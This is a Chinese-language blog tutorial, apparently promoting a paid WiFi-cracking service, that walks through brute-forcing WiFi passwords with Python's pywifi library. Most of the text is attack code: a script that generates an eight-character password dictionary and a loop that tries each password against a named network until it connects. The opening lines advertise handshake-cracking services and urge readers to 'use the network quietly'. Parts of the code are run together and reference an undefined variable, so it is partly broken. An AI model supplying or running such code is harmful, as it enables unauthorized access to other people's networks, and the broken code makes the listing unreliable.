趣味探索:利用python编程破解wifi密码

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

wifi字典破解

本文旨在通过趣味探索来练习Python编程,并希望能激发大家对网络安全的兴趣!第一部分:内容讲解Pywifi – Python用法首先,让我们了解一下Pywifi是什么。我们知道Python之所以强大,主要是因为有很多现成的库可供使用,许多第三方程序员或公司为其开发了库,这些库中包含许多功能模块,可以直接使用。常见的库:在本例中,我们将使用第三方库,即Pywifi。这个库中包含许多工具(类、函数),可以帮助我们操作无线网络接口。Python中也有一些内置库,可以直接使用,但如果是第三方库,就需要我们花点功夫进行安装,安装方法也很简单。1、在命令提示符下:如果您已经配置好了环境变量,可以直接安装。如果没有配置好,可以进入Python的安装目录下的Scripts文件夹,然后使用pip进行安装。

wifi字典破解

import pywififrom pywifi import constprint(const.IFACE_DISCONNECTED)print(const.IFACE_SCANNING)print(const.IFACE_INACTIVE)print(const.IFACE_CONNECTING)print(const.IFACE_CONNECTED) 

2、在PyCharm中,可以按照下图的步骤进行安装:安装好Pywifi后,还需要安装一个comtypes库,因为Pywifi是基于comtypes的。关于如何安装comtypes库的步骤,我不再记录,请大家自行完成安装。好了,现在让我们解释一下Pywifi的基础知识。我们知道,如果要破解WiFi账号,首先必须找到相应的无线网卡(网络接口),然后找到要破解的WiFi账号,最后使用字典进行爆破。因此,我们先练习一下如何获取网卡(网络接口)。

import pywifi
from pywifi import const, Profile

获取网卡接口

wifi = pywifi.PyWiFi() # 得到第一个无线网卡
ifaces = wifi.interfaces()[0] # 切断网卡连接
ifaces.disconnect() # 获取WiFi的连接状态
wifistatus = ifaces.status() # 检查WiFi是否处于切断状态
if wifistatus == const.IFACE_DISCONNECTED:

总结一下Pywifi模块的基本用法现在,让我们总结一下Pywifi模块中常用的三个类——PyWiFi、Profile、Interface等。PyWiFi类用于操作无线设备,该类的主要方法interfaces用于执行无线网络操作,主要包括以下函数:

import itertools
items = '1234567890qwertyuiopasdfghjklzxcvbnm'password = itertools.product(items, repeat=8)with open('D:wifipassword.txt', 'w', encoding='utf8') as f: for i, j in enumerate(password): print(f'产生第{i+1}个密码') f.write(''.join(j)) f.write(''.join('n'))

Profile类表示无线接入点(AP),即无线网卡搜索出的可连接或可用的无线连接。Profile类的主要属性如下表所示:

第二部分:代码操作讲解(按照步骤操作大约需要45分钟)首先,让我们使用Python生成一个密码字典。

import pywififrom pywifi import const,Profileimport timeimport datetime
# 测试连接,返回链接结果def wifiConnect(pwd): # 抓取网卡接口 wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] # 获取第一个无线网卡 # 断开所有连接 ifaces.disconnect() #断掉当前无线网络连接 time.sleep(1) #将程序推迟一秒钟后继续下一个语句 wifistatus = ifaces.status() #获取当前无线网络连接状态 if wifistatus == const.IFACE_DISCONNECTED: #如果wifi连接状态是未连接 # 创建WiFi连接文件 profile = pywifi.Profile() # 要连接WiFi的名称 profile.ssid = "catfish2018" profile.auth = const.AUTH_ALG_OPEN #auth属性代表认证算法,包括AUTH_ALG_OPEN、.AUTH_ALG_SHARED两种,默认为AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) #授权密钥管理方式,包括AKM_TYPE_NONE、AKM_TYPE_WPA、AKM_TYPE_WPAPSK、AKM_TYPE_WPA2、AKM_TYPE_WPA2PSK、AKM_TYPE_UNKNOWN,默认为AKM_TYPE_NONE profile.cipher = const.CIPHER_TYPE_CCMP #密码类型,包括CIPHER_TYPE_NONE、CIPHER_TYPE_WEP、CIPHER_TYPE_TKIP、CIPHER_TYPE_CCMP、CIPHER_TYPE_UNKNOWN,默认为CIPHER_TYPE_NONE profile.key = pwd #无线网络连接密码 ifaces.remove_all_network_profiles() #移除所有无线网络(AP) tep_profile = ifaces.add_network_profile(profile) #添加特定无线网络(AP)以便后续连接 ifaces.connect(tep_profile) #连接指定的无线网络(AP) # wifi连接时间 time.sleep(5) if ifaces.status() == const.IFACE_CONNECTED: #获取当前无线网络连接状态 return True else: return False else: print("已有wifi连接")
## 读取密码本def readPassword(): success = False print("****************** WIFI破解 ******************") # 密码本路径 path = "D:wifipassword.txt" # 打开文件 file = open(path, "r") start = datetime.datetime.now() while True: try: pwd = file.readline() #readline() 方法用于从文件读取整行,包括 "n" 字符 # 去除密码的末尾换行符 pwd = pwd.strip('n') bool = wifiConnect(pwd) #wifiConnect(passwd)函数用来验证密码是否正确 if bool: print("[*] 密码已破解:", pwd) print("[*] WiFi已自动连接!") success = True break else: # 跳出当前循环,进行下一次循环 print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%(profile.ssid,pwd)) except: continue end = datetime.datetime.now() if(success): print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start)) else: print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0)

if __name__=="__main__": readPassword()

wifi字典破解

简单WiFi爆破代码讲解:参考文档:【1】用Python破解WiFi密码,太刺激了【2】Pywifi – Python用法【3】Python中pywifi模块的基本用法讲解【4】WiFi网络接入原理 #sc=2080【5】Python编写密码破解字典

赞(0)